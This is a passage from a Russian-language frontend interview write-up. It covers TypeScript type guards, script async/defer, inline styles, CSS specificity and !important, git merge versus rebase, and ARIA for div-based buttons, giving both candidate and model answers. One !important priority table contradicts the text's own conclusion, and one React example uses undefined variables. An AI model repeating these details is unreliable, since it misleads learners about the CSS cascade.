console.log('Strings:', strings);
console.log('Numbers:', numbers);
}

// Type guard для фильтрации null
function filterNull<T>(items: (T | null | undefined)[]): T[] {
return items.filter((item): item is T => item != null);
}

const values: (number | null | undefined)[] = [1, null, 2, undefined, 3];
const filtered: number[] = filterNull(values); // [1, 2, 3]

4. Assertion functions (функции утверждения)

Альтернативный подход к type guards — функции, которые выбрасывают исключение вместо возврата boolean:

function assertIsString(value: unknown): asserts value is string {
if (typeof value !== 'string') {
throw new Error(`Expected string, got ${typeof value}`);
}
}

function assertIsDefined<T>(value: T): asserts value is NonNullable<T> {
if (value === null || value === undefined) {
throw new Error('Value is null or undefined');
}
}

// Использование
function processConfig(config: unknown) {
assertIsDefined(config);
// config: NonNullable<unknown>

assertIsString(config);
// config: string

return config.toUpperCase();
}

5. Satisfies operator (TypeScript 4.9+)

Не type guard в классическом смысле, но связанный механизм проверки типов:

type Colors = 'red' | 'green' | 'blue';

// Проверяет соответствие типу, но сохраняет конкретный тип
const palette = {
red: '#ff0000',
green: '#00ff00',
blue: '#0000ff',
yellow: '#ffff00' // Ошибка: нет в Colors
} satisfies Record<Colors, string>;

// palette.red имеет тип string, а не Colors

6. Exhaustiveness checking (проверка исчерпания)

Техника для гарантии обработки всех вариантов union type:

type Shape =
| { kind: 'circle'; radius: number }
| { kind: 'rectangle'; width: number; height: number }
| { kind: 'triangle'; base: number; height: number };

function getArea(shape: Shape): number {
switch (shape.kind) {
case 'circle':
return Math.PI * shape.radius ** 2;

case 'rectangle':
return shape.width * shape.height;

case 'triangle':
return (shape.base * shape.height) / 2;

default:
// Если добавить новый тип в Shape без обработки,
// TypeScript выдаст ошибку здесь
const _exhaustive: never = shape;
throw new Error(`Unhandled shape: ${_exhaustive}`);
}
}

7. Сравнение подходов

ПодходКогда использовать
typeofПримитивные типы (string, number, boolean)
instanceofКлассы и наследование
inПроверка наличия свойства в объекте
Custom type guardСложная логика проверки типов
Discriminated unionsОбъединения с общим полем-дискриминатором
Assertion functionsКогда нужно прервать выполнение при неверном типе
Exhaustiveness checkДля гарантии обработки всех вариантов union type

Type guards — важный инструмент для написания типобезопасного кода, особенно при работе с внешними данными, API-ответами и сложными union types. Они позволяют компилятору TypeScript понимать логику проверок и предоставлять правильную типизацию в каждом блоке кода.

Вопрос 8. Что за тег script, зачем он нужен и в чём разница между атрибутами async и defer?

Таймкод: 00:07:54

Ответ собеседника: Правильный. Тег script нужен для подключения скриптов в HTML-документе. defer загружает скрипты асинхронно, но соблюдает порядок загрузки и начинает после построения DOM. async не соблюдает порядок загрузки и грузится параллельно с построением DOM.

Правильный ответ:

Тег <script> используется для встраивания или подключения JavaScript-кода в HTML-документ. Понимание механизмов загрузки и выполнения скриптов критически важно для оптимизации производительности веб-приложений.

1. Базовое поведение (без атрибутов)

<script src="script.js"></script>

При стандартной загрузке происходит следующее:

  • Парсинг HTML приостанавливается при обнаружении тега <script>
  • Скрипт загружается (если внешний) и выполняется немедленно
  • Парсинг HTML продолжается только после завершения выполнения

Это создаёт проблему: если скрипт тяжёлый или расположен в <head>, страница не отобразится до его загрузки и выполнения.

2. Атрибут defer

<script defer src="script.js"></script>

Поведение с defer:

  • Скрипт загружается асинхронно параллельно с парсингом HTML (не блокирует)
  • Выполнение откладывается до полного построения DOM (событие DOMContentLoaded)
  • Скрипты выполняются в порядке объявления в документе
  • Идеально для скриптов, которым нужен доступ к полному DOM
<head>
<script defer src="jquery.js"></script>
<script defer src="app.js"></script> <!-- Выполнится после jquery.js -->
</head>

3. Атрибут async

<script async src="script.js"></script>

Поведение с async:

  • Скрипт загружается асинхронно параллельно с парсингом HTML
  • Выполняется сразу после загрузки, прерывая парсинг HTML
  • Порядок выполнения не гарантируется — кто загрузился первым, тот и выполнится
  • Подходит для независимых скриптов (аналитика, реклама)
<head>
<script async src="analytics.js"></script>
<script async src="ads.js"></script>
<!-- Порядок выполнения непредсказуем -->
</head>

4. Визуальное сравнение процессов

Без атрибутов (blocking):

Парсинг HTML → [Загрузка скрипта] → [Выполнение скрипта] → Парсинг HTML
←——— блокировка ———→

С defer:

Парсинг HTML ———————————————————————————————————→ [DOMContentLoaded]
↘ ↗
[Загрузка defer скриптов] → [Выполнение по порядку]

С async:

Парсинг HTML ——————→ [async загрузился] → Парсинг продолжается
↘ ↑ ↘
[Загрузка async скрипта] [async загрузился] → Парсинг продолжается

5. Сравнительная таблица

ХарактеристикаБез атрибутовdeferasync
Асинхронная загрузкаНетДаДа
Блокирует парсингДаНетДа (при выполнении)
Время выполненияСразуПосле DOMContentLoadedПосле загрузки
Порядок сохранёнДаДаНет
Нужен DOMНе обязательноОбычно даНе обязательно

6. Практические рекомендации

Используйте defer, когда:

  • Скрипт зависит от DOM (манипуляции с элементами)
  • Есть зависимости между скриптами (jQuery → плагины → приложение)
  • Скрипт не критичен для первоначального рендера
<head>
<script defer src="vendor.js"></script>
<script defer src="app.js"></script>
</head>

Используйте async, когда:

  • Скрипт полностью независим (Google Analytics, виджеты)
  • Порядок выполнения не важен
  • Скрипт не обращается к DOM
<head>
<script async src="https://www.google-analytics.com/analytics.js"></script>
</head>

Без атрибутов (редко), когда:

  • Скрипт должен выполниться до рендера страницы
  • Скрипт генерирует контент, необходимый для отображения
  • Используется для критически важных polyfills
<head>
<script src="critical-polyfill.js"></script>
</head>

7. Современный подход: type="module"

<script type="module" src="app.js"></script>

Модули ES6 по умолчанию ведут себя как defer:

  • Загружаются асинхронно
  • Выполняются после построения DOM
  • Поддерживают импорты/экспорты
  • Работают в строгом режиме по умолчанию

Можно комбинировать с async для немедленного выполнения:

<script type="module" async src="app.js"></script>

8. Оптимизация загрузки скриптов

<!-- Критические скрипты — в head с defer -->
<head>
<script defer src="app.js"></script>
</head>

<!-- Некритические скрипты — перед закрывающим body -->
<body>
<!-- Контент страницы -->

<script src="non-critical.js"></script>
</body>

<!-- Предзагрузка для приоритетных скриптов -->
<head>
<link rel="preload" href="critical.js" as="script">
<script defer src="critical.js"></script>
</head>

9. Обработка ошибок

// Для async скриптов — проверка загрузки
const script = document.createElement('script');
script.src = 'https://cdn.example.com/library.js';
script.async = true;

script.onload = () => {
console.log('Скрипт загружен');
// Использовать библиотеку
};

script.onerror = () => {
console.error('Ошибка загрузки скрипта');
// Fallback или уведомление пользователя
};

document.head.appendChild(script);

Понимание различий между async и defer позволяет значительно улучшить производительность загрузки страницы и избежать проблем с порядком выполнения скриптов. В современных приложениях рекомендуется использовать defer или type="module" как основной подход к подключению JavaScript.

Вопрос 9. Сработает ли атрибут defer или async, если скрипт указан внутри тега script (без src)?

Таймкод: 00:08:51

Ответ собеседника: Неправильный. Кандидат предположил, что да, должен сработать. На самом деле async и defer работают только при наличии атрибута src — для инлайн-скриптов они игнорируются.

Правильный ответ:

Атрибуты async и defer работают только для внешних скриптов (с атрибутом src). Для инлайн-скриптов (кода внутри тега <script>) они полностью игнорируются браузером.

1. Демонстрация поведения

Неправильно (атрибуты игнорируются):

<!-- async и defer НЕ РАБОТАЮТ — скрипт выполнится немедленно -->
<script defer>
console.log('Этот скрипт выполнится сразу, без ожидания DOM');
</script>

<script async>
console.log('Этот скрипт тоже выполнится сразу');
</script>

Правильно (атрибуты работают):

<!-- async и defer РАБОТАЮТ — только с src -->
<script defer src="app.js"></script>
<script async src="analytics.js"></script>

2. Почему так происходит

Инлайн-скрипт не требует загрузки — его код уже присутствует в HTML-документе. Нет сетевого запроса, нет задержки загрузки, поэтому концепция «асинхронной загрузки» к нему неприменима.

Спецификация HTML прямо указывает: атрибуты async и defer должны игнорироваться, если отсутствует атрибут src.

3. Как добиться отложенного выполнения инлайн-кода

Если нужно отложить выполнение инлайн-скрипта, есть несколько альтернатив:

А. Переместить скрипт в конец body:

<body>
<!-- Весь контент страницы -->

<script>
// Выполнится после парсинга всего HTML
document.querySelectorAll('.item').forEach(item => {
item.addEventListener('click', handler);
});
</script>
</body>

Б. Использовать событие DOMContentLoaded:

<head>
<script>
document.addEventListener('DOMContentLoaded', () => {
// Выполнится после построения DOM
console.log('DOM готов');
});
</script>
</head>

В. Использовать событие load:

<script>
window.addEventListener('load', () => {
// Выполнится после загрузки всех ресурсов (изображения, стили)
console.log('Страница полностью загружена');
});
</script>

Г. Обернуть в модуль (type="module"):

<script type="module">
// Модули по умолчанию ведут себя как defer
// Выполнятся после построения DOM
import { init } from './app.js';
init();
</script>

4. Практический пример: миграция с инлайн-скриптов

Было (инлайн-скрипт блокирует рендер):

<head>
<script>
// Блокирует парсинг HTML — плохо для производительности
document.body.style.backgroundColor = 'red';
</script>
</head>

Стало (внешний скрипт с defer):

<head>
<script defer src="styles.js"></script>
</head>
// styles.js
document.body.style.backgroundColor = 'red';

Или (модуль):

<head>
<script type="module">
document.body.style.backgroundColor = 'red';
</script>
</head>

5. Исключение: nomodule

Существует связанный атрибут nomodule, который работает с инлайн-скриптами:

<!-- Выполнится только в старых браузерах, не поддерживающих модули -->
<script nomodule>
console.log('Старый браузер — загружаем полифиллы');
</script>

<!-- Выполнится в современных браузерах -->
<script type="module">
console.log('Современный браузер — используем нативные модули');
</script>

6. Проверка поддержки

// Проверить, поддерживает ли браузер атрибут defer
const script = document.createElement('script');
const supportsDefer = 'defer' in script;

// Проверить поддержку async
const supportsAsync = 'async' in script;

// Проверить поддержку type="module"
const supportsModule = 'noModule' in document.createElement('script');

7. Резюме

СитуацияАтрибуты async/defer
<script src="...">Работают
<script>код</script>Игнорируются
<script type="module">Ведёт себя как defer по умолчанию
<script type="module" async>Выполняется сразу после загрузки модуля

При работе с инлайн-скриптами используйте события DOMContentLoaded или load, либо переносите код во внешние файлы с атрибутом defer для оптимальной производительности.

Вопрос 10. Что такое инлайновые стили, использовал ли их, зачем нужны и как их переопределить?

Таймкод: 00:09:25

Ответ собеседника: Неполный. Инлайновые стили использовались, но это считается антипаттерном, так как их тяжело переопределить. Переопределить можно через !important. В React инлайновые стили задаются через атрибут style как объект. Не упомянул, что инлайн-стили имеют высокую специфичность.

Правильный ответ:

Инлайновые стили (inline styles) — это CSS-стили, заданные непосредственно на элементе через атрибут style. Они обладают наивысшей специфичностью в каскаде CSS и применяются в специфических случаях.

1. Синтаксис инлайновых стилей

В HTML:

<div style="color: red; font-size: 16px; margin: 10px;">
Текст с инлайновыми стилями
</div>

В React (JSX):

function MyComponent() {
return (
<div style={{ color: 'red', fontSize: '16px', margin: '10px' }}>
Текст с инлайновыми стилями
</div>
);
}

Особенности React:

  • Свойства записываются в camelCase (fontSize вместо font-size)
  • Значения — строки (или числа для пикселей)
  • Объект стилей передаётся через двойные фигурные скобки
// Числа автоматически конвертируются в пиксели
<div style={{ width: 100, height: 50 }}> // width: 100px; height: 50px;

// Для других единиц — строка
<div style={{ width: '50%', marginTop: '2rem' }}>

2. Специфичность инлайновых стилей

Инлайновые стили имеют наивысшую специфичность в каскаде CSS:

Инлайновые стили: 1-0-0-0 (1000)
ID-селекторы: 0-1-0-0 (0100)
Классы: 0-0-1-0 (0010)
Элементы: 0-0-0-1 (0001)

Это означает, что инлайновые стили нельзя переопределить обычными CSS-правилами:

<style>
.my-class {
color: blue; /* Не сработает */
}

#my-id {
color: green; /* Не сработает */
}
</style>

<div class="my-class" id="my-id" style="color: red;">
Этот текст будет красным
</div>

3. Способы переопределения инлайновых стилей

А. !important в CSS

.my-class {
color: blue !important; /* Переопределит инлайновый стиль */
}

Это единственный способ переопределить инлайновый стиль через CSS-файл. Однако использование !important — плохая практика, так как нарушает нормальный каскад.

Б. Изменение через JavaScript

// Перезапись конкретного свойства
element.style.color = 'blue';

// Перезапись всех стилей
element.style.cssText = 'color: blue; font-size: 14px;';

// Установка через setProperty (позволяет использовать !important)
element.style.setProperty('color', 'blue', 'important');

В. В React — перезапись через состояние

function MyComponent() {
const [color, setColor] = useState('red');

return (
<div style={{ color }}>
Текст, цвет которого можно изменить
</div>
);
}

4. Когда инлайновые стили оправданы

Несмотря на то, что инлайновые стили часто считаются антипаттерном, есть легитимные случаи использования:

А. Динамические стили, зависящие от состояния

function ProgressBar({ progress }) {
return (
<div style={{ width: '100%', backgroundColor: '#eee' }}>
<div
style={{
width: `${progress}%`,
height: '20px',
backgroundColor: progress > 80 ? 'red' : 'green',
transition: 'width 0.3s ease'
}}
/>
</div>
);
}

Б. Вычисляемые значения

function DraggableBox({ x, y }) {
return (
<div
style={{
position: 'absolute',
left: `${x}px`,
top: `${y}px`,
transform: `rotate(${rotation}deg) scale(${scale})`
}}
/>
);
}

В. Сторонние библиотеки и виджеты

Многие библиотеки используют инлайновые стили для изоляции:

// Пример с react-draggable
<Draggable>
<div style={{ cursor: 'move' }}>Перетаскиваемый элемент</div>
</Draggable>

Г. Email-шаблоны

В email-верстке инлайновые стили — единственный надёжный способ, так как многие почтовые клиенты игнорируют <style> и внешние CSS.

Д. CSS-in-JS библиотеки

Styled-components, Emotion и другие генерируют инлайновые стили или уникальные классы:

// styled-components генерирует уникальные классы
const Button = styled.button`
background: ${props => props.primary ? 'blue' : 'gray'};
`;

5. Проблемы инлайновых стилей

А. Нельзя использовать псевдоклассы и псевдоэлементы

// ❌ Не работает
<div style={{ ':hover': { color: 'red' } }}>

// ✅ Нужно использовать CSS или CSS-in-JS

Б. Нельзя использовать медиа-запросы

// ❌ Не работает
<div style={{ '@media (max-width: 600px)': { fontSize: '12px' } }}>

В. Нет кеширования

Инлайновые стили дублируются для каждого элемента, увеличивая размер DOM.

Г. Сложность поддержки

Стили разбросаны по компонентам, нет единого источника стилей.

6. Альтернативы инлайновым стилям

А. CSS Modules

import styles from './Button.module.css';

function Button() {
return <button className={styles.primary}>Click</button>;
}

Б. Styled Components

import styled from 'styled-components';

const Button = styled.button`
background: ${props => props.primary ? 'blue' : 'gray'};
&:hover {
opacity: 0.8;
}
`;

В. Utility-first CSS (Tailwind)

function Button({ primary }) {
return (
<button className={primary ? 'bg-blue-500' : 'bg-gray-500'}>
Click
</button>
);
}

7. Практические рекомендации

  • Используйте инлайновые стили только для динамических значений, зависящих от состояния
  • Статические стили выносите в CSS-файлы или CSS Modules
  • Для сложных компонентов используйте CSS-in-JS библиотеки
  • Избегайте !important — лучше рефакторить архитектуру стилей
  • В email-шаблонах инлайновые стили — норма

Инлайновые стили — это инструмент с конкретной областью применения. Ключ к правильному использованию — понимать их ограничения и применять только там, где они действительно необходимы.

Вопрос 11. Что такое специфичность в CSS и как она работает?

Таймкод: 00:10:18

Ответ собеседника: Правильный. Специфичность — это приоритет селекторов, по которому они применяются. Иерархия: !important, инлайн-стили, селекторы по ID, селекторы по классу, селекторы по тегу. Можно представить в виде трёхзначного числа.

Правильный ответ:

Специфичность (specificity) — это алгоритм, по которому браузер определяет, какое CSS-правило применить к элементу, когда на него претендуют несколько селекторов с конфликтующими стилями.

1. Система расчёта специфичности

Специфичность представляется как кортеж из четырёх значений: (a, b, c, d)

УровеньЗначениеПримеры
aИнлайновые стилиstyle="color: red" → (1,0,0,0)
bID-селекторы#header → (0,1,0,0)
cКлассы, атрибуты, псевдоклассы.menu, [type="text"], :hover → (0,0,1,0)
dЭлементы, псевдоэлементыdiv, ::before → (0,0,0,1)

Сравнение идёт слева направо: сначала a, потом b, затем c, и наконец d.

2. Примеры расчёта

/* (0,0,0,1) = 1 */
div { color: black; }

/* (0,0,1,0) = 10 */
.menu { color: blue; }

/* (0,0,1,1) = 11 */
div.menu { color: green; }

/* (0,1,0,0) = 100 */
#header { color: red; }

/* (0,1,1,0) = 110 */
#header.menu { color: purple; }

/* (0,0,2,0) = 20 */
.menu.active { color: orange; }

/* (0,0,3,0) = 30 */
.menu.active.open { color: pink; }

/* (1,0,0,0) = 1000 */
/* Инлайновый стиль в style="" */

3. Практические примеры

<div id="header" class="menu active" style="color: yellow;">
Какой цвет?
</div>
/* (0,0,0,1) — проигрывает */
div { color: black; }

/* (0,0,1,0) — проигрывает */
.menu { color: blue; }

/* (0,0,2,0) — проигрывает */
.menu.active { color: green; }

/* (0,1,0,0) — проигрывает */
#header { color: red; }

/* (0,1,2,0) — проигрывает */
#header.menu.active { color: purple; }

/* (1,0,0,0) — побеждает! */
/* style="color: yellow;" */

Результат: текст будет жёлтым, так как инлайновый стиль имеет наивысшую специфичность.

4. Важные правила и нюансы

А. !important — вне системы специфичности

div { color: red !important; } /* Побеждает всё, кроме другого !important с большей специфичностью */

!important не увеличивает специфичность — он создаёт отдельный уровень приоритета. При конфликте двух !important побеждает тот с большей специфичностью.

Б. Наследование не имеет специфичности

/* Специфичность (0,0,0,0) — ниже любого селектора */
body { color: gray; }

/* Наследуемое значение проиграет даже * { color: black; } */

В. Универсальный селектор и комбинаторы

/* (0,0,0,0) — нулевая специфичность */
* { color: black; }

/* Комбинаторы не добавляют специфичности */
/* (0,0,1,1) — только .menu и div */
div .menu { color: blue; }

/* (0,0,1,2) */
div > .menu > li { color: green; }

Г. :where() и :is() — разное поведение

/* :where() — НЕ добавляет специфичность */
/* (0,0,0,1) — только div */
:where(.menu, #header) div { color: blue; }

/* :is() — добавляет специфичность НАИБОЛЕЕ специфичного селектора */
/* (0,1,0,1) — #header и div */
:is(.menu, #header) div { color: red; }

/* :not() — добавляет специфичность аргумента */
/* (0,0,1,1) — .active и div */
div:not(.active) { color: green; }

5. Стратегия управления специфичностью

А. Методология BEM (рекомендуется)

/* Всегда одинаковая специфичность (0,0,1,0) */
.block { }
.block__element { }
.block--modifier { }
.block__element--modifier { }

/* Пример */
.card { }
.card__title { }
.card__title--large { }
.card--featured { }

Преимущества: предсказуемая специфичность, отсутствие конфликтов, легкость переопределения.

Б. Использование классов вместо ID

/* Плохо — высокая специфичность, сложно переопределить */
#sidebar .menu-item { color: blue; }

/* Хорошо — контролируемая специфичность */
.sidebar-menu-item { color: blue; }

В. CSS Custom Properties для переопределения

:root {
--button-bg: blue;
--button-color: white;
}

.button {
background: var(--button-bg);
color: var(--button-color);
}

/* Переопределение без увеличения специфичности */
.button-danger {
--button-bg: red;
}

6. Инструменты для отладки

А. DevTools браузера

В Chrome/Firefox DevTools можно увидеть все применённые правила с их специфичностью — зачёркнутые свойства проиграли по специфичности.

Б. Онлайн-калькуляторы

Существуют калькуляторы специфичности (напмер, specificity.keegan.st), которые наглядно показывают расчёт.

7. Чего следует избегать

/* ❌ Избыточная специфичность — сложно переопределить */
div#main.container div.content p.text { }

/* ❌ Использование ID для стилизации */
#unique-element { }

/* ❌ Множественные !important */
.element { color: red !important; }

/* ✅ Минимально необходимая специфичность */
.text { }

/* ✅ Контролируемое увеличение */
.card .text { }

/* ✅ Два класса вместо вложенности */
.card-text { }

8. Резюме

СелекторСпецифичностьДесятичное
*(0,0,0,0)0
div(0,0,0,1)1
div p(0,0,0,2)2
.class(0,0,1,0)10
div.class(0,0,1,1)11
#id(0,1,0,0)100
#id .class(0,1,1,0)110
style=""(1,0,0,0)1000
!important

Ключевой принцип: используйте минимально необходимую специфичность. Это делает код поддерживаемым, упрощает переопределение стилей и предотвращает специфичность-войны в проекте.

Вопрос 12. Если в инлайн-стиле указан color: red !important, а в CSS-файле для того же элемента указан color: blue !important — какой цвет будет применён?

Таймкод: 00:11:11

Ответ собеседника: Неправильный. Кандидат предположил, что применится стиль из CSS-файла из-за каскада и того, что он объявлен последним. На самом деле при наличии !important в обоих случаях выиграет инлайн-стиль, так что он имеет более высокую специфичность, чем селектор в CSS-файле.

Правильный ответ:

Применится красный цвет из инлайн-стиля. При наличии !important в обоих объявлениях вступает в силу обычное правило специфичности — инлайн-стили имеют более высокий приоритет.

1. Механизм разрешения конфликтов с !important

Когда несколько свойств имеют !important, браузер применяет два уровня приоритета:

Уровень 1: Источник стиля (origin)

1. Стили разработчика (author stylesheets)
2. Стили пользователя (user stylesheets)
3. Стили по умолчанию браузера (user-agent)

Уровень 2: Специфичность (при равном origin)

(1,0,0,0) — инлайновые стили с !important
(0,1,0,0) — ID-селекторы с !important
(0,0,1,0) — классы с !important
(0,0,0,1) — элементы с !important

Уровень 3: Порядок объявления (при равной специфичности) Последнее объявление побеждает.

2. Разбор задачи

<div style="color: red !important;">Текст</div>
div {
color: blue !important;
}

Сравнение:

  • Оба имеют !important — переходим к специфичности
  • Инлайн-стиль: (1,0,0,0) = 1000
  • Селектор div: (0,0,0,1) = 1
  • Побеждает инлайн-стиль → текст красный

3. Практические примеры

А. Инлайн !important vs ID !important

<div id="text" style="color: red !important;">Текст</div>
#text {
color: blue !important;
}

Результат: красный — инлайн (1,0,0,0) побеждает ID (0,1,0,0)

Б. Инлайн !important vs несколько классов !important

<div class="a b c" style="color: red !important;">Текст</div>
.a.b.c.d.e {
color: blue !important;
}

Результат: красный — инлайн (1,0,0,0) побеждает любое количество классов (0,0,N,0)

В. Когда CSS-файл побеждает инлайн

CSS-файл может переопределить инлайн-стиль только через более высокий origin:

/* Стили пользователя (user stylesheet) — выше origin */
div {
color: blue !important;
}

Или через !important в стилях пользователя (user stylesheet), которые имеют более высокий приоритет origin, чем стили разработчика.

4. Полная таблица приоритетов с !important

ПриоритетИсточникПример
1 (высший)Пользователь !importantuser stylesheet с !important
2Разработчик !importantauthor stylesheet с !important
3Инлайн !importantstyle="... !important"
4Разработчик обычныйauthor stylesheet
5Пользователь обычныйuser stylesheet
6 (низший)Браузер по умолчаниюuser-agent stylesheet

Важно: Инлайн-стили с !important имеют более высокий приоритет, чем обычные стили из CSS-файла, но более низкий, чем !important из user stylesheet.

5. Как переопределить инлайновый !important из CSS

На практике это почти невозможно без JavaScript:

// Единственный способ — изменить инлайновый стиль через JS
element.style.setProperty('color', 'blue', 'important');

// Или полностью заменить
element.style.cssText = 'color: blue !important;';

6. Демонстрация каскада с !important

/* Файл 1 */
.text {
color: green !important;
}

/* Файл 2 (загружен позже) */
.text {
color: blue !important;
}
<div class="text" style="color: red !important;">Текст</div>

Результат: красный — инлайн-стиль побеждает независимо от порядка CSS-файлов.

Если убрать инлайн:

<div class="text">Текст</div>

Результат: синий — побеждает последнее объявление с одинаковой специфичностью.

7. Рекомендации

  • Избегайте !important в инлайн-стилях — это создаёт неразрешимые конфликты
  • Используйте !important только как последнее средство
  • Предпочитайте контролируемую специфичность через методологии (BEM)
  • Для утилитарных классов (Tailwind) !important иногда оправдан
  • Тестируйте стили в DevTools — там видно, какое правило победило

Инлайн-стили с !important создают «непробиваемый» уровень приоритета в стилях разработчика. Это одна из причин, почему инлайновые стили считаются антипаттерном — они делают код непредсказуемым и сложным для поддержки.

Вопрос 13. В чём отличие между git merge и git rebase, и что предпочтительнее использовать, если работаешь в ветке один?

Таймкод: 00:11:50

Ответ собеседника: Правильный. Обе команды нужны для слияния веток. Merge создаёт новый коммит, содержащий изменения из двух веток, и сохраняет историю. Rebase перезаписывает историю. Кандидат предпочитает merge, так как rebase был неудобен на практике — при ребейсе было много шагов с разрешением конфликтов.

Правильный ответ:

git merge и git rebase — два подхода к интеграции изменений из одной ветки в другую. Они принципиально отличаются по механике работы и влиянию на историю коммитов.

1. Git Merge — сохранение истории

git merge создаёт новый «merge commit», который объединяет две ветки:

До merge:
A---B---C (feature)
/
D---E---F (main)

После merge:
A---B---C
/ \
D---E---F---M (feature, merge commit)

Команды:

# Переключиться на целевую ветку
git checkout feature

# Слить main в текущую ветку
git merge main

Характеристики:

  • Сохраняет полную историю изменений
  • Создаёт merge commit (если не fast-forward)
  • Безопасен для публичных веток
  • История может быть «засорена» merge commits
  • Конфликты разово при merge

2. Git Rebase — переписывание истории

git rebase перемещает коммиты текущей ветки на вершину целевой ветки:

До rebase:
A---B---C (feature)
/
D---E---F (main)

После rebase:
A'--B'--C' (feature, новые коммиты)
/
D---E---F (main)

Команды:

# Переключиться на ветку, которую ребейзим
git checkout feature

# Перенести коммиты на вершину main
git rebase main

Характеристики:

  • Создаёт линейную историю без merge commits
  • Переписывает коммиты (новые хеши)
  • Опасен для публичных веток (уже запушенных)
  • Конфликты могут возникать на каждом коммите
  • История вычищенная и линейная

3. Сравнительная таблица

Характеристикаmergerebase
ИсторияСохраняется полнаяЛинейная, переписанная
Merge commitДа (обычно)Нет
БезопасностьБезопасенОпасен для публичных веток
КонфликтыРазовоПотенциально на каждом коммите
ОткатПросто (revert merge)Сложнее (ORIG_HEAD)
ЧитаемостьПоказывает параллельную работуЧистая линейная история

4. Когда работаешь один в ветке — rebase предпочтительнее

При одиночной работе в ветке рекомендуется использовать rebase:

# Регулярно обновляйте свою ветку из main
git checkout feature
git fetch origin
git rebase origin/main

# После завершения работы — merge в main
git checkout main
git merge feature # fast-forward merge, без merge commit

Преимущества rebase при одиночной работе:

  • Линейная история — легко читать и понимать
  • Нет «шума» от merge commits
  • Проще найти баг через git bisect
  • Чистая история для code review

5. Интерактивный rebase — мощный инструмент

git rebase -i HEAD~5 # Последние 5 коммитов

Возможности:

  • squash — объединить несколько коммитов в один
  • reword — изменить сообщение коммита
  • edit — изменить содержимое коммита
  • drop — удалить коммит
  • reorder — изменить порядок коммитов
# Объединить 3 последних коммита в один
git rebase -i HEAD~3

# В открывшемся редакторе:
pick abc1234 Первый коммит
squash def5678 Второй коммит
squash ghi9012 Третий коммит

6. Разрешение конфликтов при rebase

# При возникновении конфликта:
git rebase main

# Git остановится и покажет конфликт
# Разрешите конфликт в файлах, затем:
git add <resolved-files>
git rebase --continue

# Или пропустить проблемный коммит:
git rebase --skip

# Или отменить rebase полностью:
git rebase --abort

7. The Golden Rule of Rebase

Никогда не ребейзьте публичные ветки!

# ❌ ПЛОХО — ветка уже запушена и используется другими
git push origin feature --force

# ✅ ХОРОШО — ребейз только локальной ветки перед пушем
git rebase main
git push origin feature --force-with-lease # безопаснее --force

--force-with-lease безопаснее --force: он откажет, если кто-то изменил ветку на сервере.

8. Практические сценарии

Сценарий 1: Feature branch (один разработчик)

# Создание ветки
git checkout -b feature/new-auth

# Работа...
git commit -m "Add login form"
git commit -m "Add validation"
git commit -m "Add API integration"

# Обновление из main (регулярно!)
git fetch origin
git rebase origin/main

# Завершение — merge в main
git checkout main
git merge feature/new-auth

Сценарий 2: Команда работает над одной фичей

# В команде — используйте merge для интеграции
git checkout feature/shared-work
git merge colleague-branch

# Или используйте rebase, но координируйтесь
# и не форсите общую ветку

Сценарий 3: Подготовка к code review

# Очистка истории перед ревью
git rebase -i origin/main
# squash, reword, reorder коммиты

# Пушьте с force-with-lease
git push origin feature/my-feature --force-with-lease

9. Альтернатива: merge --squash

Если хотите линейную историю без рисков rebase:

git checkout main
git merge --squash feature/my-feature
git commit -m "Add my feature (squashed)"

Это объединяет все коммиты feature в один на main, без переписывания истории.

10. Рекомендации

  • Одиночная работа: используйте rebase для поддержания чистой истории
  • Командная работа: используйте merge для общих веток
  • Публичные ветки (main, develop): только merge
  • Перед PR: rebase -i для очистки коммитов
  • После публикации: не используйте rebase

При работе один в ветке — rebase даёт чистую, линейную историю, которая проще для чтения, отладки и code review. Главное правило: ребейзьте только локальные коммиты, которые ещё не были опубликованы.

Вопрос 14. Как сделать компонент из библиотеки доступным для браузера как кнопку, если компонент написан на div-ах, но семантически является кнопкой?

Таймкод: 00:13:45

Ответ собеседника: Правильный. Использовать ARIA-атрибуты, в частности aria-role='button', чтобы указать браузеру и вспомогательным технологиям, что элемент является кнопкой.

Правильный ответ:

Когда компонент визуально и функционально является кнопкой, но реализован через <div>, необходимо обеспечить его доступность (accessibility) для скринридеров и других вспомогательных технологий. Это делается через комбинацию ARIA-атрибутов и JavaScript.

1. Базовый подход с ARIA

function AccessibleButton({ onClick, children, disabled }) {
return (
<div
role="button"
tabIndex={disabled ? -1 : 0}
aria-disabled={disabled || undefined}
onClick={disabled ? undefined : onClick}
onKeyDown={(e) => {
if (disabled) return;
// Кнопка должна активироваться по Enter и Пробелу
if (e.key === 'Enter' || e.key === ' ') {
e.preventDefault();
onClick?.(e);
}
}}
>
{children}
</div>
);
}

2. Полный набор атрибутов для доступности

А. role="button"

Указывает вспомогательным технологиям, что элемент — кнопка:

<div role="button">Нажми меня</div>

Б. tabIndex=&#123;0&#125;

Делает элемент фокусируемым с клавиатуры:

<div role="button" tabIndex={0}>
Фокусируемая кнопка
</div>
  • tabIndex={0} — элемент в порядке табуляции
  • tabIndex={-1} — элемент не в порядке табуляции, но можно программно сфокусировать

В. aria-disabled vs disabled

// ❌ Атрибут disabled не работает на div
<div disabled>Не сработает</div>

// ✅ Используйте aria-disabled
<div role="button" aria-disabled="true" tabIndex={-1}>
Отключённая кнопка
</div>

Г. onKeyDown для клавиатурной навигации

Кнопка должна активироваться по Enter и Пробелу:

function handleKeyDown(e) {
if (e.key === 'Enter' || e.key === ' ') {
e.preventDefault(); // Предотвращаем скролл при пробеле
handleClick(e);
}
}

3. Полноценный компонент

import { useRef, useEffect } from 'react';

function AccessibleButton({
onClick,
children,
disabled = false,
className,
...props
}) {
const buttonRef = useRef(null);

useEffect(() => {
const element = buttonRef.current;
if (!element) return;

const handleKeyDown = (e) => {
if (disabled) return;

if (e.key === 'Enter' || e.key === ' ') {
e.preventDefault();
onClick?.(e);
}
};

element.addEventListener('keydown', handleKeyDown);
return () => element.removeEventListener('keydown', handleKeyDown);
}, [disabled, onClick]);

return (
<div
ref={buttonRef}
role="button"
tabIndex={disabled ? -1 : 0}
aria-disabled={disabled || undefined}
onClick={disabled ? undefined : onClick}
className={className}
{...props}
>
{children}
</div>
);
}

4. Типы кнопок и их ARIA-атрибуты

А. Обычная кнопка

<div role="button" tabIndex={0}>
Отправить
</div>

Б. Переключатель (toggle button)

<div
role="button"
aria-pressed={isActive}
tabIndex={0}
onClick={() => setIsActive(!isActive)}
>
{isActive ? 'Включено' : 'Выключено'}
</div>

В. Кнопка-меню

<div
role="button"
aria-haspopup="true"
aria-expanded={isOpen}
tabIndex={0}
onClick={() => setIsOpen(!isOpen)}
>
Меню
</div>

Г. Кнопка-ссылка

<div
role="button"
